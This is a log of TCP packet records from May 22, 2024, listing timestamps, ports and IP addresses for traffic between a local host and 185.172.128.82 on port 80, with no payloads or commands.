May 22, 2024 20:06:32.606076002 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.606098890 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.606123924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.606153011 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.606197119 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.606240034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.606261969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.606302023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.606344938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.606368065 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.606393099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.606422901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.606466055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.606514931 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.606543064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.606607914 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.606652021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.606674910 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.606699944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.606729031 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.606779099 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.606828928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.606842995 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.606882095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.606905937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.606954098 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.606970072 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.607023954 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.607038975 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.607069969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.607182980 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.607234001 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.634279013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.634346962 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.634409904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.634470940 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.634514093 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.634515047 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.634553909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.634587049 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.634634018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.634654999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.634696960 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.634725094 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.634747982 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.634778023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.634835958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.634860992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.634910107 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.634931087 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.634958029 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.634979963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.635025978 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.635077953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.635091066 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.635133028 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.635153055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.635212898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.635241032 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.635262012 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.635286093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.635337114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.635358095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.635392904 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.635423899 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.635477066 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.635504007 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.635555983 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.635570049 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.635606050 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.635654926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.635695934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.635716915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.635741949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.635793924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.635848045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.635862112 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.635902882 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.635929108 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.635952950 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.635982037 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.636028051 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.636053085 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.636076927 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.636106968 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.636152029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.636198044 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.636219978 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.636255026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.636281967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.636334896 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.636348963 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.636389971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.636415005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.636440039 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.636461973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.636514902 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.636528969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.636562109 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.636589050 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.636643887 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.636657953 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.636693954 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.636719942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.636773109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.636787891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.636830091 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.636878014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.639071941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.639120102 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.639152050 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.639178991 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.691586971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.691668987 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.691689968 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.691710949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.691730976 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.691766977 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.691795111 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.691811085 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.691831112 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.691845894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.691860914 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.691874981 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.691884995 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.691901922 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.691920042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.691948891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.692148924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.692195892 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.692240000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.692264080 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.692290068 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.692322016 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.692368984 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.692384958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.692431927 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.692449093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.692886114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.692931890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.692956924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.692981958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.693011045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.693056107 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.693105936 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.693120003 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.693178892 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.693223000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.693245888 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.693269014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.693299055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.693358898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.693404913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.693428040 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.693450928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.693497896 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.693542957 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.693567038 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.693591118 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.693620920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.693665028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.693689108 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.693717003 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.693744898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.693799019 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.693813086 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.693854094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.693898916 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.693922997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.693944931 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.693973064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.694017887 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.694061041 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.694083929 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.694108009 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.694139004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.694185972 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.694201946 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.694247007 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.694263935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.694315910 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.694329977 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.694361925 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.694391012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.694434881 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.694454908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.694508076 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.694538116 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.694583893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.694603920 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.694636106 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.694664001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.694710016 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.694729090 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.694782972 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.694796085 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.694837093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.694880962 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.694906950 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.694928885 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.694957018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.695003986 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.695019960 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.695065975 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.695082903 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.695130110 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.695147038 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.695199966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.695214033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.695250988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.695276022 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.695321083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.695343018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.695394039 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.695419073 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.695466042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.695482969 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.695525885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.695578098 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.695590973 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.695631981 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.695683002 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.695698023 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.695729017 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.695756912 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.695801973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.695851088 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.695868015 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.695913076 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.695960999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.696475029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.696528912 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.696542978 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.697794914 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.723531961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.723633051 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.723681927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.723710060 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.723767996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.723790884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.723834991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.723886013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.723901033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.723942995 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.723985910 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.724008083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.724040031 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.724087954 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.724133015 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.724178076 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.724204063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.724236012 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.724275112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.724322081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.724364996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.724390030 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.724412918 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.724442005 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.724488974 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.724504948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.724550962 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.724567890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.724621058 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.724633932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.724675894 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.724694967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.724741936 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.724757910 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.724805117 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.724843979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.724885941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.724911928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.724937916 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.724967957 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.725013018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.725033998 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.725076914 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.725092888 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.725140095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.725156069 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.725208998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.725223064 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.725264072 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.725306988 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.725331068 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.725354910 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.725403070 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.725450993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.725466967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.725511074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.725532055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.725578070 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.725596905 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.725641966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.725686073 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.725708961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.725727081 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.725763083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.725807905 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.725852013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.725876093 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.725899935 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.725929022 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.725975037 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.725991964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.726038933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.726054907 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.726100922 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.726125002 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.726146936 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.726175070 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.727794886 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.728233099 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.731777906 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.780592918 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.780627012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.780797005 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.780814886 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.780873060 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.780914068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.780934095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.780956030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.780977964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.780987978 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.781027079 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.781276941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.781297922 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.781332970 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.781367064 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.781622887 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.781641960 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.781663895 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.781676054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.781693935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.781711102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.781723022 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.781732082 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.781749010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.781769991 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.781775951 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.781797886 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.781806946 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.781827927 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.781850100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.782454967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.782475948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.782526970 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.782789946 CEST	80	49708	185.172.128.82	192.168.2.6
